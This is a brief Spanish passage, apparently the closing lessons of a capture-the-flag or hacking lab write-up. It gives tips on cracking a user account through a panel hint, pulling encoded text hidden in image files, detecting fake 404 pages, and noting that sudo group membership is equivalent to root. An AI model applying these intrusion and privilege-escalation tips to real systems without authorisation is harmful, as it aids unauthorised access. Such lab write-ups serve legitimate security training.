jbourneera el único sin resolver porque su contraseña (?????) no está en ninguna tabla; la pista del propio panel la entregaba en texto. stringsantes que nada en esteganografía. El texto suele estar concatenado al final del fichero y codificado; 19 dígitos decimales que dan 8 bytes ASCII no son un número, son una cadena.- Un 404 que devuelve 200 no es un 404. El código de estado real y una firma de servidor que no coincide con el escaneo delatan una página de error falsa.
- Pertenecer al grupo
sudoes root. Consudo suno hace falta nada más; el resto de la cadena es llegar hasta un usuario que lo tenga.